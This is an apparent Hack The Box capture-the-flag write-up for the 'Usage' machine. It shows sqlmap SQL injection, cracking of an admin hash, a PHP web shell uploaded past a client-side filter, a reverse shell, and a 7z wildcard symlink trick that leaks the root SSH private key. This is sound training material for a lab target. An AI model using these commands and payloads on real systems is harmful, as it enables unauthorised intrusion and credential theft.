Usage writeup banner

Usage

Hack The Box Machine Writeup

Usually the meter reads the other way, I guess we need MAXIMUM usage

Usually the meter reads the other way, I guess we need MAXIMUM usage

Summary

Usage is an easy Linux box that showcases some of the more common vulnerabilities found in CTF boxes. These include a fairly basic SQLI and file upload requiring a simple client side bypass for the user step. Root revolved around exploiting a \* wildcard character in a sudo binary.

The user step starts by exploiting an SQLI to leak an admin user's hash which can then be cracked to get admin access to a web application. The next step is to bypass a basic filter and upload a web shell using the avatar upload function. From here a reverse shell can be obtained and the user step is complete.

To obtain root the attacker must first move laterally to the Xander user by finding their clear text password stored in a file. This was by far my least favorite part of the box as the way the information was stored meant common search terms such as `password` or the username would come up empty. Once the Xander user is obtained the attacker can run a custom usage_management binary as root. This binary has a wildcard vulnerability in its backup function that can be exploited to read arbitrary files from the host. This can finally be leveraged to get the root users SSH key and grab root.txt, completing the box.

Always more memes, never enough memes.

Always more memes, never enough memes.

User

Recon

Port Scan with Nmap

I started off as always with a port scan using nmap. I use -sC for default scripts and -sV for version enumeration. Running it as sudo defaults to -sS stealth scanning which is quicker.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ nmap -sC -sV 10.129.192.21
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-16 21:40 BST
Nmap scan report for 10.129.192.21
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0f8fdd304b807a063dd37dfd7eeca78 (ECDSA)
|_  256 bd22f5287727fb65baf6fd2f10c7828f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

This scan reveals SSH, which we can come back to if we have creds. It also shows a web server on port 80 and gives a domain to add to our /etc/hosts file, usage.htb

Wfuzz for Vhosts

Whenever I have custom vhosts like this I like to always try to fuzz for hidden ones. My tool of choice for this is wfuzz. Make sure to run it once to find the default response length and then filter it out with --hh 178.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ wfuzz -u http://usage.htb/ -H "Host:FUZZ.usage.htb" -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 178
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://usage.htb/
Total requests: 4997

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                          
=====================================================================

000000024:   200        88 L     226 W      3304 Ch     "admin"                                                          

Total time: 15.41882
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 324.0842

This scan reveals admin.usage.htb which I also added to my /etc/host file.

There seems to always be other ways to discover Vhosts for many of the CTF boxes, But fuzzing works most of the time

There seems to always be other ways to discover Vhosts for many of the CTF boxes, But fuzzing works most of the time

Web Server Enumeration

It was now time to look at the webserver on port 80. Usage.htb presents a login form with a reset password function.

Not much here, Some SQLI checks maybe, username enumeration?

Not much here, Some SQLI checks maybe, username enumeration?

There is also a register page that can be reached by the associated tab in the top right.

Maybe we can just make a new account

Maybe we can just make a new account

Lastly there is a link to the admin virtual host we discovered through fuzzing. This also presents us with a login form.

Told yah there is often other ways to find Vhosts then fuzzing

Told yah there is often other ways to find Vhosts then fuzzing

Capturing a request in burp and looking at the headers reveals the web application is running laravel. We can also see that the session cookie is set with httponly, meaning we will likely not be able to do any kind of session hijacking attack.

No XSS cookie stealing today

No XSS cookie stealing today

While enumerating through the website I was also testing for basic SQLI by injecting special chars such as ' " ;--}>) into the fields to see if any would cause an error. eventually when reaching the reset password function it throws an error and as such appears to be vulnerable to SQLI.

there are fuzzing lists you can find online to use as test strings

there are fuzzing lists you can find online to use as test strings

Bingo, an error likely means the SQL statement was made invalid by our input, indicating SQLI

Bingo, an error likely means the SQL statement was made invalid by our input, indicating SQLI

Dump Admin Hash with SQLmap

Rather than try to exploit this SQLI manually I captured the request in burp, right clicked and saved the request to a file to use with SQLmap.

You can also enter the parameters manually, this is my go to way to use SQLmap though.

You can also enter the parameters manually, this is my go to way to use SQLmap though.

I can now run SQLmap, using --level 5 --risk 5 and telling it the email parameter is vulnerable with -p email. --batch is used to have the program always select the default options so we don't need to keep confirming.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.12#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:43:32 /2024-04-16/

[22:43:32] [INFO] parsing HTTP request from 'sql'
[22:43:32] [INFO] resuming back-end DBMS 'mysql' 
[22:43:32] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=UHkYv0MFRGrhMCbEPAZwV0JvDDMip29w7tEawh1A&email=test@email.com' AND 5117=(SELECT (CASE WHEN (5117=5117) THEN 5117 ELSE (SELECT 7962 UNION SELECT 1723) END))-- -

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=UHkYv0MFRGrhMCbEPAZwV0JvDDMip29w7tEawh1A&email=test@email.com' AND 3249=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)-- mcQZ
---
[22:43:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[22:43:34] [INFO] fetched data logged to text files under '/home/htb-mp-904224/.local/share/sqlmap/output/usage.htb'
[22:43:34] [WARNING] your sqlmap version is outdated

[*] ending @ 22:43:34 /2024-04-16/

This reveals that there is indeed an SQLI present and we can now continue with enumerating the database. I use --dbs to list the databases. --threads 10 makes the attack run faster.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch --threads 10 --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.12#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:45:09 /2024-04-16/
<...>
[22:45:27] [INFO] retrieved: usage_blog             
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

We can now select the usage_blog with -D and enumerate the tables with --tables.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch --threads 10 -D usage_blog --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.12#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
<...>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

We can then lastly select the admin_users table with -T and dump all the data inside with --dump.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch --threads 10 -D usage_blog -T admin_users --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.12#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
<...>
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

And with that we have the admin users password hash: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

Don't drop tables, be a good hacker.

Don't drop tables, be a good hacker.

Crack Admin Hash

We can determine the kind of hash by using the[ hashcat example site](https://hashcat.net/wiki/doku.php?id=example_hashes) as a reference. In this case the hash is -m 3200 blowfish. With this information we can now proceed to crack the hash.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ cat hash
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ hashcat -m 3200  hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...
<...>
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

We now have creds to login to the admin web application, admin:whatever1

Webshell via Client side Upload Filter Bypass

upon using the credentials to login to the admin site we are given an admin dashboard. I spent a while looking around the limited functionality here and came across the avatar upload function by clicking the picture in the top right and then clicking settings.

Make sure to enumerate as much of the functionality as you can

Make sure to enumerate as much of the functionality as you can

File uploads are always a source of risk to an application and a good place to check for vulnerabilities

File uploads are always a source of risk to an application and a good place to check for vulnerabilities

I then prepared a simple PHP webshell to upload.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ cat shell.php 
<?php system($_GET['cmd']); ?>

When uploading this we receive an error complaining that the file must be of an image type.

That would have been too easy!

That would have been too easy!

There are a couple things a website can check to determine file type, one of the most common of these is the extension. As such I change the name to shell.png and upload the file, making sure to catch the request in burp so I can change it back to .php after the client side validation.

Client side validation is very easy to bypass with BURP

Client side validation is very easy to bypass with BURP

simply change the file ending back to .php before forwarding the request

simply change the file ending back to .php before forwarding the request

We can now see that our avatar was updated correctly. hovering over the download button we can also see the path to the new file /uploads/images/shell.php.

We need to both be able to upload something, AND know where to access it for it to be useful.

We need to both be able to upload something, AND know where to access it for it to be useful.

Visiting the /uploads/images/shell.php url we can confirm we have command execution.

Boom, RCE achieved as the dash user

Boom, RCE achieved as the dash user

From here I tried a couple reverse shells from[ revshells.com](https://www.revshells.com/) before landing on python3 shortest that seemed to work well. Don't forget to start an NC listener to catch the shell.

Sometimes you need to try a whole bunch of shells until one works.

Sometimes you need to try a whole bunch of shells until one works.

sh
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ nc -lvnp 42069
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::42069
Ncat: Listening on 0.0.0.0:42069
Ncat: Connection from 10.129.192.21.
Ncat: Connection from 10.129.192.21:42438.
dash@usage:/var/www/html/project_admin/public/uploads/images$ 
When one shell doesnt work, try em all until one does!

When one shell doesnt work, try em all until one does!

Shell Script Upgrade Trick

Whenever I get a shell I like to do the script upgrade trick to get a full TTY with more functionality like tab completion and the arrow keys. At this point I also grabbed user.txt from the dash user's home directory.

bash
dash@usage:/var/www/html/project_admin/public/uploads/images$ script/dev/null -c bash
dash@usage:/var/www/html/project_admin/public/uploads/images$ ^Z
[1]+  Stopped                 nc -lvnp 42069
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ stty raw -echo;fg
nc -lvnp 42069
              reset
reset: unknown terminal type unknown
Terminal type? screen
dash@usage:~$ cat user.txt
66e559ed15babee8b2c33e915f05c431

Root

Shell as Xander

Find Xander creds

The next part was my least favorite of the box. It basically boiled down to just spending the time to look at everything for a plain text password.

looking at /home we can see there is another user, Xander.

sh
dash@usage:/home$ ls
dash  xander

Using ls -la to list all files and directory, including hidden ones, in the dash users home directory we can see a bunch of hidden stuff ( as indicated by the . at the start of the filename).

sh
dash@usage:~$ ls -la
total 48
drwxr-x--- 6 dash dash 4096 Apr 16 22:26 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26 04:50 .monit.id
-rw------- 1 dash dash 1192 Apr 16 22:26 .monit.state
-rwx------ 1 dash dash  707 Oct 26 04:49 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Apr 16 20:40 user.txt

If we look at .monitrc we can see what looks like a password: 3nc0d3d_pa\$$w0rd near the top.

sh
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd
<...>

Using this password we are able to su to the Xander user and complete the lateral escalation.

sh
dash@usage:~$ su - xander 
Password: 3nc0d3d_pa$$w0rd
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
Don't do it!

Don't do it!

Enumeration

Checking sudo permissions with sudo -l

At this point I began my manual enumeration to look for a way to the root user. Using sudo -l reveals the /usr/bin/usage_management binary can be run as root.

sh
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

'Reversing' usage_management Binary

Using cat on the binary just shows a jumbled mess. However, Using strings we are much more easily able to see what is going on. What stands out right away is the wildcard in the /usr/bin/7za command.

sh
xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
<...>
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
<...>

Based on this information we can see that 7z is being run on all files in the /var/www/html directory.

Exploit 7z Wildcard

There is an excellent[ hacktricks article](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks) that outlines what we are going to do here to exploit this wildcard. Using a link file we are going to force 7z into reading the contents from another file, in this instance /root/root.txt, while it compresses the directory. As described by hack tricks:

_"Then, when 7z is execute, it will treat root.txt as a file containing the list of files it should compress (thats what the existence of @root.txt indicates) and when it 7z read root.txt it will read /file/you/want/to/read and as the content of this file isn't a list of files, it will throw and error showing the content."_

sh
xander@usage:/var/www/html$ touch @root.txt
xander@usage:/var/www/html$ ln -s /root/root.txt root.txt

Now when we run the backup function of the /usr/bin/usage_management binary we should have it throw an error with the contents of root.txt because 7z will be reading root.txt from the link file.

sh
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54831404

Scanning the drive:
          
WARNING: No more files
accd9a6df5d913da3ce0b8920a2ae3a3 <<<<<< Root.txt

2984 folders, 17950 files, 113879525 bytes (109 MiB)        
It do be like that

It do be like that

Root shell Through Reading SSH Key

Just reading the flag is not very fulfilling however so let's quickly get a shell as root. Luckily for us we can use the same method as above, just instead of reading /root/root.txt we will read /root/.ssh/id_rsa and get root's private SSH key. From there I used the key with ssh and grabbed root.txt, truly completing the box.

sh
xander@usage:/var/www/html$ rm root.txt                   
xander@usage:/var/www/html$ touch @root.txt               
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa root.txt
xander@usage:/var/www/html$ sudo /usr/bin/usage_management  
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54831404

Scanning the drive:
          
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
<...>

┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ cat root 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----

┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ chmod 600 root

┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ ssh -i root root@10.129.192.21
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<...>
root@usage:~# cat root.txt
accd9a6df5d913da3ce0b8920a2ae3a3
One more box in the bag

One more box in the bag

Additional Resources

Ippsec video walkthrough

youtube.com

0xdf writeup

0xdf.gitlab.io